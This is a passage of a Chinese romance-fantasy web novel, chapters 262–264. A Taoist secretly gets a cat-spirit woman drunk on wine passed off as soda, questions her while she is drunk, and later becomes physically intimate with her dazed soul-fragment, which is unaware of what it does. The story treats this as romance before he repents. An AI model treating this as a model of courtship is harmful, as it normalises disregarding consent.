没关系,这次失手就算了,机会多的是。 朱九趁着黑暗,把八卦镜掩在他身后。 电影开始。 偌大的幕布开始有了画面,环绕式音效也牛逼得很,跟在电影院看没什么两样儿。 静之兴冲冲的小跑过来,坐到沙发上。 这回她倒是中规中矩,坐在沙发一角,离朱九有些远。 他暗暗啧了一声,这回怎么整? 突然,一碟荔枝被推了过来。 朱九侧头,发现明明灭灭的光线中,她正朝他笑得一脸明媚,“都冰好啦,你吃吧。” “滴。” 他早上研究过了。 心跳到达100,手表就会发出一声预警。 心跳到达110,预警两声。 心跳到达120,就会出现智能语音提示。 心跳达到140,就会自动拨打附近医院电话。 他这是…轻易的被她一个笑容,把心跳直接干到100了? 没用的东西! 朱九闭了闭眼,假装什么都没听到,一脸淡定的拿起一颗荔枝剥着皮。 秉着个人良好素质,朱九把第一颗剥好的荔枝朝她递了过去。 静之垂下眸子,看着那颗捏在他修长指间的白色荔枝,突然红了脸。 “滴。” 静之可是个看过说明书的人。 这会儿她尬得不行。 是她的手表在叫吧,她心跳超100了? 也是。 她本来就喜欢他,他还这么绅士,她不得疯狂心动嘛。 “谢,谢谢。” 她接过荔枝,一把将它塞进嘴里嚼着,两眼虽紧盯偌大的屏幕,剧情却一点都进不去脑子里。 …… 屋内越来越凉,静之忍不住交叠着腿坐着,她有些后悔穿雪纺面料的裙子了,这布料一碰到冷空气,是真的透心凉。 喝着冰阔落的静之,一下冻得脑壳疼,她不住的整理着裙摆,意图多得到一点温暖。 朱九见状,表示机会来了。 他这次带的八卦镜为了便于藏匿,仅有七八公分直径大小,离远了怕发挥不出作用,所以只得想办法再靠近她一次了。 朱九站起身走到斗柜面前,拿了两件小毯子过来。 递了一件给静之,另外一件摊开盖住自己的腿,并拿起遥控器,将温度调高两度。 静之接过毯子盖住自己,“谢谢,你这儿的东西可真齐。” 朱九不甚在意应了一声,他借着刚刚起身重新再坐下的时机,这回坐的位置离她挺近,不过20多厘米距离。 静之显然也发现了,她甚至都闻到他身上的檀香味儿了。 她捧着一包薯片,慢吞吞吃着,一颗芳心仿佛要荡到云端去了。 他是在故意接近她的吧? 不然怎么解释原本离了一米多的两个男女突然靠这么近的事实。 嘿,他真喜欢她了? “滴。” 好害羞,她的表又响了,也不知道他有没有听到? 他会不会认为她太不矜持了,就这么随随便便对一个男子心动了。 就在这时,朱九悄悄从毯子底下摸出八卦…… “咯吱。” 仿佛注意到他身子的微微倾斜,静之弹射起步,直接挪到沙发靠扶手的一角,朝他笑了笑,“嘿,吃吃吃,别客气。” 她心里想,坐远一些,她心动的声音应该就不会被他发现了吧? 朱九则是紧紧捏住那个八卦,磨了磨后槽牙。 好家伙,她倒是挺敏锐,这是发现他的意图了? 还是单纯不想跟他靠近? 不管是哪一种,都让朱九很是挫败。 看来,得另寻办法了。 反正让他无理由的挪过去,是万万不可能的。 第262章 看电影2 朱九思索了半天,实在不知道该以什么方式接近她,毕竟他也没有接近女性的经验啊。 整部电影,两个人硬是没一个看进去一点剧情的。 中途休息时,他趁着换碟片的时候,从冰箱里拿出荔枝味儿的果酒。 这酒是铁壳罐装的,外表精致漂亮,粉色的罐子外头画着几颗剥了一半的荔枝,上头写着复杂的外文,他一修道之人也看不懂。 他以前第一次喝的时候,也以为是饮料,结果是气泡酒,并且这酒的后劲儿还挺强。 给她灌醉了,他就不信她警惕心还这么高! “呲~” 他开了一罐,装作若无其事,摆在她面前,“换换口味。” “荔枝味气泡水?” 听着那声轻呲,静之背部一个用力,把自己从柔软的沙发里反弹起来,伸长了手去够那罐果酒。 微酌一口后,清新的荔枝味混合着大量的气泡,瞬间在她味蕾上炸开。 静之不禁眯了眯眼,又好喝又刺激~ 阿九这辈子可真会享受。 那罐子没有被她放下,反而被静之捧在手里,小口小口的酌着。 朱九见状十分满意。 为了不引起她的怀疑,他也给自己开了一罐,看似在喝,其实只是微微倾斜一下罐身,沾湿一下嘴唇而已。 朱九没有再做任何越矩的动作。 两人仿佛多年的好友,偶尔说上几句,讨论一下剧情。 不过大部分时间都是心眼为零个的静之在跟他吐槽剧里的笑点。 800个心眼子的朱九只是陪着笑了笑,极有耐心的看着她的双颊在酒精的熏陶下,染上一点一点醉人的红晕。 两个人手表上的心跳,非常一致的保持在90-95的状态,没一个下过85的。 微醺,且各自微微心动。 有人清楚的知道,有人觉得自己有大病。 偌大的空间内,清新的荔枝味渐浓,两人各自的体香也渐渐融合到一起去,氛围逐渐变得暧昧不清。 静之面前的桌子上摆了两个粉色的空罐子,而她手上还捏着一瓶喝了一半的果酒。 也许是酒精让她感觉到放松,静之把脚伸到沙发上,朝着朱九的方向放着,她则一手撑着脑袋,专注的看向前方的幕布。 纤长的眼睫慵懒的半垂着,每次眨眼变得愈发缓慢。 朱九眉梢微微一扬,机会来了。 他借着收拾桌面的功夫,悄然挪近了一些。 屁股几乎是抵着她的脚尖坐在沙发上。 果然,她没有再挪远,反而莫名熟稔的用莹白的脚趾头轻轻踢了踢他的膝盖,“别收拾了,等会我会收的。” “在我这儿看,就该我收拾的。” 朱九:话是挺有分寸感的,动作可就有些过了,果然是喝醉了吧? 她的语气有些含糊不清,却莫名带着一股娇气。 这回就算朱九不看自己的手表,也知道自己心跳快得有些过分。 “滴!滴!” 糟糕。 心跳过110了。 妖女又施妖法了吧,她…听到了吗? “二叔别听,我的手表又响了。”她努力直起身子,面上的红润在听到手表响了以后瞬间加深,迷离的眼神避开他探究的眼神,瞥向左侧的昏黄灯带,“什么事都没有,可能是我这表坏了!” 朱九缓缓松了口气。 她听差了,看来她的酒量也就两罐半了。 但是他的心跳完全停不下来,甚至还有上升的趋势。 她这话,有些掩耳盗铃的意思啊。 “滴!滴!滴!滴!请注意,您的心跳已达120,请停止剧烈运动,保持稳定呼吸,请问是否需要叫救护车?” 一个清醒之人,外加一个醉鬼,两个人皆被这句语音提示震在原地。 静之迷离的眼睛瞪得大大的,她晃悠两下,把酒罐子放下,然后把带着表的左手努力的往毯子里藏。 “不,不是我!它没响,是我在叫。” 她努力捣鼓着舌头,学着机械女音说话,那副笨拙又欲盖弥彰的可爱模样让朱九简直挪不开眼。 因为紧张和不知名的情绪,他的心跳完全下不来,这回不用静之复述,他的手表又重复播报了一遍。 “滴!滴!滴!滴!请注意,您的心跳已达120,5秒钟后若无人应答,将自动拨打999。” 朱九腾的 一下站了起来。 “不需要!否否否!” 缩在沙发一角的静之,好似察觉到他的动作,她缩了缩脖子,嘴里的复述越来越大声,仿佛要盖过朱九的手表提示音。 “请,请注意!您的心跳,已,已达120……” 要命,一个醉鬼而已,他心跳这么快干嘛?! 不行,他今天必须测试完成! 就趁现在! 朱九趁着她不敢看他的时候,举着八卦快速照向她。 下一秒,八卦中间的圆形镜面反射出一道刺眼的黄色强光。 昏暗的环境,一下像是打开了灯一样,差点亮瞎朱九的双眼。 他眯起眼睛朝静之看去,啧,她是灯泡成精了吗?怎么这么亮? 不对,外面那层金光,是功德金光?? 怎么那么多? 她上辈子是拯救世界了吗? 手里不知何时拿出一道斩妖符的朱九,默默将符收了回去。 算了,万物生存在这个世上自有它的道理,人是,妖当然也是。 今天就不收她了吧。 怎料就在这时,醉鬼开始行动了。 被朱九一八卦激出功德金光的静之,差点给自己闪瞎眼。 “二叔?我的眼睛是不是瞎了?” “二叔,把灯关掉!” 她跪坐起身,挥舞着手想站起身子摸去墙边关灯。 奈何过强的亮度和不甚清醒的脑子,让她一脚踏错。 眼看着她的脸正对着尖锐的桌角就要一头砸下去,朱九来不及多想,赶紧伸出一臂,撑住她的肩膀。 随着时间推移,功德金光发现她身边并无危险,光芒渐渐收回。 朱九看着周身泛起微光,被八卦逼出原形的静之,彻底傻了眼。 她的耳朵是怎么回事,还有那沙发后面藏不住的几条尾巴。 她真是妖??? 可…她是好妖。 朱九有些纠结。 就在这时,完全不知道自己已经掉了马甲的静之,突然抬起头,双手捧住朱九的脸,开始小声啜泣。 “阿九,你没死,呜呜……太好了。” “之之是不是很厉害,之之护住你了!” 她一把将朱九推到沙发上,然后强行拨开他僵硬的手臂,把自己缩成一团,钻进他的怀里。 “阿九,那饮料有毒,你别喝了,我头好晕,快搓两颗解毒丸给我吃吃!” 她这是怎么回事? 阿九? 是在叫他吗? 朱九没有这般自恋。 他一下就想到了那个镇纸上的玉雕。 她是在叫她的前男友吧,她的醉话说的是她前男友没死。 这就表示,她前男友死了? 那他,不就是替身了吗? 难怪她一开始见面的时候,老是若有似无的对他露出亲昵的神色。 他的手表不再叫唤,心率一路从120直接降到60。 朱九撑着僵硬的双臂,板着脸任由醉酒的猫妖在他怀里呜呜哭着。 心里仿佛堵了一块大石头,压得他喘不过来气。 既然她已醉到开始说胡话的程度,那他的测试,就更好做了吧? 朱九不打算旁敲侧击了。 他清了清嗓子,低声问道: “你有对朱九施过什么魅惑之术吗?” 默默流泪的静之撑着他的胸口,努力昂起脑瓜。 她微微歪着头,黛眉轻蹙,朱九仿佛能听到她脑子里cpu在嗡嗡嗡费力转动的声音。 “才没有,二叔规矩最多了,我才不会这样对他,他会生气的。” 他的规矩是多了点没错,但是被她这么说,好像也不是什么值得开心的事。 朱九垂着眸子,又问: “你……” 她好乖啊,问什么答什么,但是该问什么呢? “对于朱九这个人,你有什么看法?” 这样问,就算她醒过来以后还记得,应该不算太过分吧? 静之捏着柔软的毯子边边想了半天,才坨红着一张醉脸,严肃的点了点头,“要远离他。” “……” 双拳突然握紧。 朱九牙根微微用力,好半天才又挤出一句: “为什么?我觉得他……还行吧。” 静之轻轻拍了一下他的膝盖,不甚 赞同的皱眉。 “不准你说他坏话。” “才不是还行,他很好的,收留我住在这里,还买零食给我吃,他很贴心。” 那几滴酒明明醉不了人,朱九的脸却突然飘起一抹红晕。 他轻咳了一声说: “那为什么要远离他?” 静之突然又缩回沙发最左边的角落里,抱紧自己的膝盖,把脸埋了半张进膝盖里,闷闷的说: “二叔已经很幸福了,我不能去破坏他现在的美好生活,我希望他一直如此幸福。” 都说酒后吐真言,她…真是这么想的吧。 朱九一点都不怀疑她是装醉。 因为她开始发癫了。 只见静之突然站了起来,并目露警惕看了他一眼,然后把腿上的毯子一扬,像小偷似的包住她的脑袋,朝外面冲! “蔗姑!我来辣!!!!!” “嘭!”静之撞到门上的声音。 朱九心跳漏了一拍,突然有些后悔诓她喝酒了。 刚想过去把她扶起来,静之原地duang的一下立了起来,流着鼻血,门一掀就朝外跑。 不好! 她现在耳朵尾巴还没收回去呢,等会被人发现就完了! 朱九追了出去。 怎料静之喝醉了,脚程依旧极快。 “蔗姑!” 她跑到了一楼。 “蔗姑!!” 她跑出院子里!! “蔗姑!我来救你辣!!!” 静之像头蛮牛,一把将听到声音出来看热闹的阿祥跟朱八撞出几米远。 朱九越追,她绷着脸跑得越快,q弹的耳朵都跑成飞机耳了。 阿祥跟朱八扶着腰,龇牙咧嘴的站起来,皆看着远去的几条猫尾一脸震惊。 “二叔!她是妖?” “二哥,我来帮你抓!” 朱八撸着袖子就要上楼,朱九挡在楼梯口凶狠的瞪他一眼,“不用你,给我好好待在楼下,敢说出去,你们就玩完了!” 他什么意思? 他二哥这是被妖迷昏头,选择包庇她吗? 望着朱九三步并作两步往上跑的背影,叔侄俩心里只有同一个想法。 他们老朱家,可能真的要完辣! “蔗姑!!!哎呦!” 尾巴被揪住,静之止不住往前的冲劲儿,当即啪叽一声,摔趴在神台面前,拿着跪垫当枕头,直接就是一个原地入睡。 他刚伸出手,想扶起地上一动不动,仿佛去世了的女子。 祭拜了一辈子的祖师爷神像突然显灵了。 【朱九,你若是不想被她身上的功德金光反伤,就莫要对她出手。】 望着闪闪发亮的神像,朱九无比震惊,但仍恭敬的在她身旁跪下了。 “朱九不敢,朱九……只是想扶她起来。” 【留下她,也许就能挽回咱们朱家即将衰亡的颓势。】 朱九抿了抿嘴,说出让朱八吓得腿软的一句话。 “她要走要留,都有自己的意志,我不会因为朱家的利益而强迫她做任何事。” 朱八:我的好二哥,要耍酷也不能在祖师爷面前耍啊! 就在他以为神像一闪一闪的,要对跪在地上,但梗着脖子一脸不屈的朱九出手时。 祖师爷又说话了。 【……嗯,你倒是不错。】 神像的光渐渐黯淡,朱八冲了过去,拿出纸笔,脸上的表情热切到有些疯魔。 “祖师爷先别走呀,快告诉我明晚的六合彩号码是多少???” 多少年没显灵了,这才是祖师爷的正确用法,他二哥搞什么哦。 突然,彻底熄下去的神像明灭一下,一道金光朝朱八打了过去,巨大的冲击力直接将朱八弹飞。 【朽木!】 望着咕噜咕噜朝楼下滚的弟弟,朱九忍不住翻了个白眼。 活该! 朱九赶紧给祖师爷上炷香,让他消消气。 然后将昏睡到神台下的静之轻轻翻转过来。 看着她红红的鼻头,和鼻下的两行血迹,朱九心虚了。 “……对不起。” 第263章 迷糊的她和失落的他 五分钟后。 看着在床上哼唧个不停的静之,朱九满脸歉意,伸出去的棉签停在空中,不知道该怎么办。 她破皮的鼻头被他清创清到一半,可能是有些疼,眉头一直委屈的拧着。 这种糟心的时刻,外头的坛子还一直在肆无忌惮的叫唤着。 “臭道士,欺负我就算了,你欺负一个妹子?!” “你臭不要脸!把人家灌醉了算什么正人君子。” “有本事出来单挑,你不用法器,我不用鬼气,咱俩一对一单挑!” 朱九冷着脸俯视那个动个不停的坛子,做了几个手势后,压下凭空出现的闪光符咒往坛口上一拍,下了个禁言令。 呵,单挑? 单挑的话,她也打不过他。 况且,他朱九从不打女人。 耳根子瞬间清静下来的朱九,松了口气,快步走回房间。 少少有一句话没说错。 他今日所为,确实不够君子。 朱九紧抿着嘴,接着帮静之上双氧水。 这玩意儿他以前受伤的时候也用过,挺疼的。 更何况她是伤在鼻子这种皮薄的位置。 吸满药水的棉签刚一碰到她破皮的皮肤,她立马皱起眉头,胡乱挥着手阻止。 朱九左手轻轻捏住她的手腕,右手边擦掉伤口里的脏污,边俯下身仔细的给她吹吹。 “对不起,今日是我不对,以后……我不会再这样了。” 仿佛是感受到熟悉的气息,静之迷迷糊糊睁开眼。 白色的褂子,褐色的细条纹外衣,严肃又不失温柔的眼神,还有那一抹百年不变的小胡子。 静之有那么一瞬间,觉得上一辈子的林九入她梦了。 她轻轻转动几下手腕。 获得右手自主权后,指尖轻柔的插入他的指缝里,仿佛怕他溜走,她悄悄与他温热的掌心相贴,微微使了点力道扣住他的手背。 “阿九,你来找我了吗?” 朱九都懒得看表了。 表盘自动亮起,滴滴滴响个不停,他嘴里一遍遍说着否。 就连被握住的左手,也开始疯狂冒汗。 想挣脱,但内心深处又莫名的舍不得。 再怎么对这种奇怪的心理波动陌生,朱九也渐渐意识到了,他好像有些喜欢这个女人。 可她嘴里每唤一次阿九,他的心就下沉一分。 心率起伏太快,智能表甚至浮出了一个心脏专家的联系电话。 朱九最后说一声否后,有些无语的手动按熄屏幕。 她死去的前任,犹如她心头的一颗朱砂痣,却是他喉间卡住的一根长刺,令他万分难受。 朱九狠狠心用力掰开她的手指,站了起来。 他朱九,也有属于自己的自尊。 若她的心不是完完全全属于他的,那他宁可不要。 静之眼角开始泛起泪花,她嘴角下撇,突然小声啜泣。 “阿九,你不要我了吗?” “不要走好不好……他们都死了……我只有你了……呜呜……” 朱九心头像是被拧了一把,莫名刺痛。 他闭了闭眼,冷着表情转头朝屋外唤了一声。 “阿祥!进来帮她擦药。” 醉酒的静之彻底僵在床上,小嘴微张,连啜泣声都停住了。 偷窥的阿祥讪笑着走进来后,静之突然负气一般,钻进被子里。 “你不要我就算了,我不要别人,你叫他走!” 阿祥犹如瓜田里的猹,镜片后的眼睛瞪得老大,他二叔这才几天,就玩弄完人家打算始乱终弃了? 阿祥:“二叔,我……还给她擦药吗?” “不要!”床上的蛆开始疯狂蹬腿,腰部以下的被子被蹬到一边,轻薄的碎花裙子直直掀到大腿,好险没有走光。 “你出去,我不要别人碰我!” 朱九红着耳根子赶紧看向别处,又顺手围住阿祥的视线,把他往外推。 “算了,你下去吧,我自己来。” 阿祥:“……哦。” …… 房门关上了。 阿祥出去后,她瘪着嘴拉下脸上的被子,眼泪在眼眶里悠悠打转,一脸控诉的看着他。 “阿九坏!” “你不要我的话,我也不要你了!” “你出去!” 阿九阿九,又是阿 九。 朱九生着闷气坐回床边的椅子上,脸拉得老长,与醉鬼静之对峙上了,“我给你擦药就走。” 这事儿是他不对,就算他心里再怎么不舒服,就这般把受伤的她放在这儿,也未免太不负责任了。 “不要你,你走!”她踹了他膝盖一脚。 朱九一把捏住她细细的脚踝,额头青筋直跳。 “……不要谁?” “你!就是你!”她挣扎着,然而只是徒劳,他的手越扣越紧。 静之受痛,不挣扎了,只是拿一双湿漉漉的大眼睛瞧着他,瞧得他负罪感直线上升。 朱九除了坑她喝酒这事儿,与她其他时候的相处时刻,倒还算是个正人君子。 他叹了口气,放开她的脚,拉过来被子给她盖好。 掖好被角后,朱九犹豫了一下,虽难以启齿,但不问那么一句,他莫名死不了心。 “……不要阿九,还是不要朱九?” 思虑一番后,他还是含着臊意问出口了。 她的心里可曾有他一点位置,还是只是把他当恩人一般看待。 然而此时的静之,根本没有多少理智可言。 “不要你,就是不要你,你出去!” 朱九浑身一震,大腿侧部任她蹬着,深褐色的瞳孔里,满是止不住的低落。 他紧紧攥着拳头,站了起来。 “……好,我走。” …… 刚转过身,他的弹力裤腰带就被静之用脚趾夹住。 朱九身子一僵,头也没回,轻轻拍掉她的脚,“不是不要我吗?” 弹力腰带“啪”的一声弹回他的后腰,微微刺痛的感觉却让他黯淡下去的眼眸滋生出一点光亮。 “呜呜呜……我鼻子痛……” 唉,她一直这般磨人的吗? 前两天看着挺独立自主,挺能唬人的呀。 “我给你涂点红药水,不痛的。” 酒意完全上头,静之头晕得够厉害,哐当一下,重重的脑袋又扎回被子里。 “……唔……我破相了,你要负责。” 朱九:“…………” 他回过头看着双折叠的她,紧了紧手。 朱九舍弃那把椅子,强行按捺住逐渐急促的心跳,大拇指指甲紧抠住食指侧边的肉,低下头在那毛绒绒的白色脑袋上问: “要……朱九负责吗?” 一说到朱九,静之一个鲤鱼打挺,直接一个头槌,把悬在她脑袋顶上的方正下巴一把创飞。 “二叔只能远观的,你,你别瞎说!” 朱九捂住痛到让他鼻子发酸的下巴,又气又无奈。 什么朦胧的小心思在这瞬间,直接被一阵剧痛击飞。 为什么她老是这么想呢? 他又不是瘟星,为什么老想着远离他? 看来是问不出什么来了。 朱九没好气的拿起红药水旋开盖子,然后轻轻抬起她的下巴。 喝醉的她像个孩子一样,也怕上药。 “你,你轻点。”她抱着腿坐着,紧紧闭住眼睛,就怕朱九弄痛她了。 “你放心,我会小力一些的。” “你不是要出去吗?我不要你了。” “……上完这个我就出去。” 这简短的对话,和她不时发出的轻嘶痛呼声,蹬动间的床铺轻响,还有朱九不时响起的闷哼,实在很难不让人想歪。 门外相叠的两个脑袋瞬间面面相觑。 阿祥:“不是上药吗?在……在一起了??” 朱八直起身子,双手叉着腰,挺着啤酒肚,一脸忿忿不平,“不让我们看限制级电影,他自己倒是限制上了!” …… 外面突然传来一阵噼里啪啦的声响,还有阿祥和朱八叫救命的声音,朱九紧握住棉签,朝门外喊了一声。 “你们两个给我安分一点!” 朱八好险躲过一把砸向他的椅子,朝紧闭的房门里呼救,“二哥!救命啊!有人闯进来了!” “谁!谁搁这儿打架,我……我把他们的头打歪!” 静之歪歪扭扭的跪坐起身,结果实在无力,一头扎进朱九胸口。 他僵硬着身子把她撕开,轻轻放倒在床上,“你也安分一点,好好睡觉,我出去看看。” 好似知道朱九不喜欢阿九这个称呼了,她不敢叫了。 捏着被子,朝他点点头,眼里满 是对他身手的信赖。 “好,你出去把他们的头打歪,书包都给他们打丢!” 朱九紧绷着的脸,差点被她迷糊可爱的一句话整笑了。 外头玻璃哗啦碎了一地,知道事情紧急,朱九没空再跟她哈拉,打开门就走了出去。 三个陌生人此时正追着阿祥跟朱八跑,一脸凶相,仿佛恨不得整死他们。 朱九在门口站老半天了,没人理他。 他冷着脸,轻轻用指节叩了叩门板。 “你们在我家干什么?” 第264章 他出窍了,还是她出窍了? 少少不知道什么时候被放出来了,见到朱九盯着她时,她瞬间就把头缩回一人高的宽叶盆栽后面。 “不关我事啊,是他们欺负我妹妹,阿祥才把我放出来的。” ……还说要跟他单挑,怂样。 另外一个怂人就是阿祥,他躲在不知道什么来的豆豆后头,畏首畏尾的,看得朱九心里直来气。 就这副鹌鹑样儿,有女孩子喜欢他就有鬼了。 三个来意不善的男人没有给他们寒暄的机会,看朱九一个瘦瘦的中年男子站在那儿,上去就是一顿干。 他们就不信了,三个人能打不过一个—— “啊!”两个喽啰被朱九两下撂翻在地。 “你!难道你是我同门?!” 一个穿黑衣戴墨镜,看起来有两下子的杀手跟朱九过了一招后,忍不住惊呼出声。 朱九冷冷扯了下嘴角,“谁跟你是同门。” 他嫌晦气。 也就擦个药的功夫,这俩臭小子就能惹出这么多事儿,也是绝了。 生着闷气的朱九利落击出一掌,直接将杀手震退几步。 有且仅有两下的菜鸡杀手直接破了大防。 “臭老头,你还敢反抗,等会我要你跳楼谢罪!” “呵。”朱九的眼里凝满了寒霜。 阿祥拉住正欲帮忙的豆豆躲到神台旁边,悄悄朝她摆了摆手。 “你千万别过去,二叔每次一这样笑,就表示有人要倒大霉了。” “……是吗?”这大叔看起来平平无奇,气势看起来倒是挺唬人的。 豆豆半信半疑,机灵的眼睛不住打量着周围。 刚刚她好像听到她姐姐的声音了,怎么看不到人呢? 少少就站在她面前,一脸哀切朝她猛挥着手,然而豆豆就是看不见。 “我看等会要跳楼的,是你们。” 话音刚落,朱九逮住三个菜鸡一顿好打,然后一个接一个的从阳台丢了出去。 看到朱九拿着那个坛子朝豆豆走了过来,少少赶紧躲到她妹妹身后。 少少:“我,我什么都没干。” 朱九:“你自己进来,还是让我再给你下一道禁言令,永久的。” 经过刚刚他的一番战斗,少少知道她就算不用鬼气也打不过朱九,于是做出了个明智之举,化成一缕红光,飞进坛口。 “先说好啊,我这可不是怂,在外头待久了,我鬼气不稳而已。” “等我多吃点香火蜡烛,再跟你约个时间切磋切磋。” 朱九懒得听她的狡辩之词。 他封好坛口后,转头看向豆豆。 “你是……” “我……我是静之的同事,我来找她玩的。” 早上阿祥的话实在让她疑心重重,本想过来看看,却遇到有人袭击阿祥,这让她不由提起了一颗心。 难道,他和静之说的是真的,她姐真的死了? 她的视线从朱九脸上,挪到他侧后方桌上放着的坛子上。 朱九看了一眼大厅的液晶时钟。 五点半了。 看来她这是一下课就过来了吧。 “哦,她喝醉了,正睡着呢,估计没办法起来招呼你。” “要不要留下来吃个饭再走?”他寒暄一句。 阿祥大喜过望,“好啊好啊!你喜欢吃什么,我叫黄姨做!” 豆豆从坛子上收回视线,强颜欢笑说:“……不用了,我改天再来吧,打扰您了,我先走了。” 豆豆朝朱九点了点头,从楼梯口走了下去。 阿祥亦步亦趋跟着她,嘴碎得不行,一会儿说她姐刚刚就在外头,只是她看不见,一会儿说静之刚刚发酒疯,还撞得流鼻血了。 豆豆越听脸色越沉,有些不耐烦的朝自己的车走了过去。 “你别再跟着我,我要回家了。” 阿祥捏着手,紧紧跟在她旁边:“我送你回去呀。” “不用,你快叫人来收拾收拾你家吧,刚刚他们砸坏了不少东西,我看你家人心情不太好。” 随着油门一声轰隆响,豆豆开着车扬长而去。 阿祥站在夕阳中,胖胖的身影拉得长长的,宛如一块望妻石。 “我二叔本来就那样儿……” 他的低声哔哔,随着汽车尾气一同消失在空气中,无人问津…… …… 等朱九再回到静之房间时,她已经骑着扭 成麻花的被子,睡得直打小呼噜了。 洁白匀称的腿就这般撞进刚推开门的朱九眼中,他立马反手关上门,隔绝了朱八鬼鬼祟祟的偷窥。 明明静之睡得很死,但他仍觉得万分尴尬。 朱九紧紧盯着地板的花纹,手胡乱摸索着她身下的被子,期间不小心摸到她滑嫩的肌肤,吓得他立马撤回手。 见她毫无动静,朱九红着耳朵用余光扫了一眼被子的位置,左手两指迅速捏过被子一角,用力扯出来将她严严实实裹住。 这才敢抬起头来正眼看她。 “呵……”这个笑,完全与刚刚在外头的冷笑不同。 他褐色的瞳孔里除了温和的笑意,还倒映出身前这红鼻头搞怪女人的身影。 她睡着的样子倒是蛮乖的。 灵动的眼睛此时紧紧闭着,卷翘的睫毛投下一抹阴影,鼻头涂了红药水,多了一分搞笑。 但这份搞笑又被她眼角的一点未干的泪珠,带出了点可怜巴巴的感觉。 “对不起,扰了你的假日,你本应开开心心度过今天的……” 朱九轻轻揩去她的泪珠。 指腹刚触碰到一点她脸部的温热,就立马弹开。 在无法确认她是否喜欢他时,他朱九是不会乘人之危的。 朱九深深看了她一眼,站了起来,从那扇白色的门回了自己房间。 他顺手拧上了锁,带上了防盗链。 指尖离开链子的同时,心里出现了一个念头—— 何必上锁,她只是把你当恩人。 朱九的心沉了沉,快步走到飘窗边上打起了坐。 刚摆好姿势,面前那副大写的“静”字,不仅无法让他静下心来,反而让他心烦意乱。 算了,出去揍一顿弟弟出出气好了。 别以为他不知道,那几个歹徒可不就是他跟阿祥引回来的。 …… 朱八又得一顿胖揍。 阿祥却趁着上楼更换家具的功夫,和少少套上了话。 为了让豆豆相信他说的话,少少告诉了他好多她妹妹的小秘密。 什么左腿的腿毛比右腿多,肚脐上长青春痘这种不为人知的事儿都说尽了。 阿祥胸有成竹,自认为这回他肯定能够取得豆豆信任,然后英雄救美,最后赢取美人芳心! 这些幻想,到了晚上的时候,被他三叔一棍子直接打散。 “你就这么过去,不怕半路被那些坏人劫走吗?” 阿祥脸皱成了苦瓜,“那怎么办?二叔已经限制我的花费了,今天的额度已经用来给豆豆请保镖了,要不……你跟我一起去?” “不行,你掀了二哥的衰运符,你有七星护体倒是没什么事,我可就不一样了。”朱八边说着,边指了指楼顶。 阿祥立马摇头,“二叔才不会多管闲事,更何况静之在我们这儿睡着呢,他说过了,不让我们上去打扰的。” 朱八背着手转悠两圈,突然抬起头啊了一声。 “想到办法了?” 朱八摸着下巴,有些不确定的说,“是有个办法,走,我们去户外!” …… 半小时后,朱八用符摆了个人型,然后让阿祥躺上去。 “我利用阵法,让你灵魂出窍,你去她梦里把事情说清楚。” 阿祥摆着头看着身体下面的黄符,“三叔,看起来好像还挺牛的样子,这招你用过几次啊?” 朱八把一张符纸贴在他心口,把他撑起的胸膛一并压回地上,“一次。” “哦,用过就好。” 朱八笑了笑,“算上你这次,就一次。” 阿祥立马坐了起来,“我不玩儿了,等会魂回不来,我就死——” 最后一张符纸啪的一声拍到他脑门上。 阿祥身子一软,朱八立马扶住他的肩膀让他躺下。 他看了看天上的行星变幻,然后盘坐在阿祥旁边做起了法。 一分钟后,朱八脑门直冒虚汗。 看了一眼地上的阿祥,疑惑念叨,“怎么魂还在这儿?” 他刚刚都感觉到灵魂出窍的波动了。 朱八以为自己被酒色掏空身体,不疑有他,接着闭上眼睛,重新做法。 五分钟后,终于看到阿祥半透明的魂体飘了起来,化成一道光朝远方飞去…… …… 此时的三楼。 闭眼打坐的朱九,眉头一皱。 好像不太对劲儿。 刚刚在静之识海里叫破喉咙的金童,在看到静之一魄出窍,穿了墙,来到朱九房间时,他瞬间闭紧了嘴巴。 算了,有神君在,她应该没事的。 双眸迷离,眼尾殷红。 立耳猫尾,白纱裹身。 朱九一睁眼就看到了静之的三魄之一站到他面前。 三魄之一显现出来的,是她的本体。 比之她的人类形象多了些妖异和魅惑,给人的视觉冲击力极强。 饶是定力极好的朱九,也看呆了几秒。 他眉头一皱,掐起手指刚想算上一算,看看发生什么事才使得她魂魄离体。 手指就被她握住,被夜风吹凉了的脸庞被她托住上抬。 一股香风迎面袭来,唇上突然覆盖住两片柔软。 朱九倏地瞪大双眼,吓得不知该如何应对。 与她对视后,才发现她离体的不是主魄,面前这一魄,眼里尽是迷茫和好奇。 朱九有理由觉得,她完全不知道她自己在做什么。 可他知道啊。 朱九开始挣扎。 静之像个失智的行尸走肉,只知道要紧紧抓住她认为最重要的东西。 几来几回,不敢施术怕她魄体受损的朱九,被静之连人带手紧紧箍在怀里,压在窗台上亲着。 朱九嘴巴被咬得生疼,他不断后仰身子。 傻乎乎的一魄也不奢求太多,就这般一下一下啄着他的侧颈。 “九……九……” 不是阿九。 朱九渐渐迷离的眼神突然亮起。 他喘着粗气转回脑袋,脸上是静之从未见过的柔和,“静之……你要…朱九对你负责吗?” “朱九?” 静之歪了歪脑袋,迷茫的眼神看到熟悉的脸,耳边听到熟悉的名字,瞬间笑得弯弯。 “九……要九九……” 朱九眸色顿深。 “……抱歉…都怪我…你别看…我又该犯错了……” 一个转身,他轻易挣脱她的束缚,将她抵在窗台上。 轻纱凌乱,洁白的肌肤在月光中隐隐闪着光,不时又生出几朵红梅,点缀出暧昧的痕迹。 偶尔抬头,对上她稚子般的眼神,朱九突然找回理智,将扯开衣襟的轻纱给她胡乱拢住,转身就想逃。 两条晕出淡淡白光的藕臂从后头紧紧圈住他的窄腰,她的头挤入他的腋下,靠在他腰侧,抬起头,对他笑得毫无防备。 “九九,陪我玩。” 朱九闭了闭眼,左手的手表一下就突破极限,自动拨打了急救电话。 他无暇顾及叫个不停的手表,咬破右手食指,将之挪到静之的脑门处。 犹豫不过一秒,不想伤害她的心达到顶点,指尖终于落下。 她之一魄瞬间转化为一只发着白光的灵猫,被他托进怀里。 朱九轻轻顺着她的背毛,抱着她来到隔壁房间。 床上的她,耳朵尾巴早已收回,因失了一魄,此时不省人事,呼吸微弱。 朱九赶紧走过去,将被定住的白猫与床上的她嘴对嘴。 不过两息时间,灵猫化为阵阵光点,彻底融入她体内。 她裸露在外头的手臂却仿佛从肉里透出点点红梅,苍白的唇也开始变得红肿,昭示着他刚刚的过分举动。 明明刚刚才与她有过一些亲密接触,这会儿对上她的本体,他却臊得厉害,头顶仿佛冒了烟。 朱九不敢再看,低低说了声对不起后,夺门而出。 然后重重跪在祖师爷神像前,低头忏悔。 【祖师爷:你知道的,我其实乐见其成。】 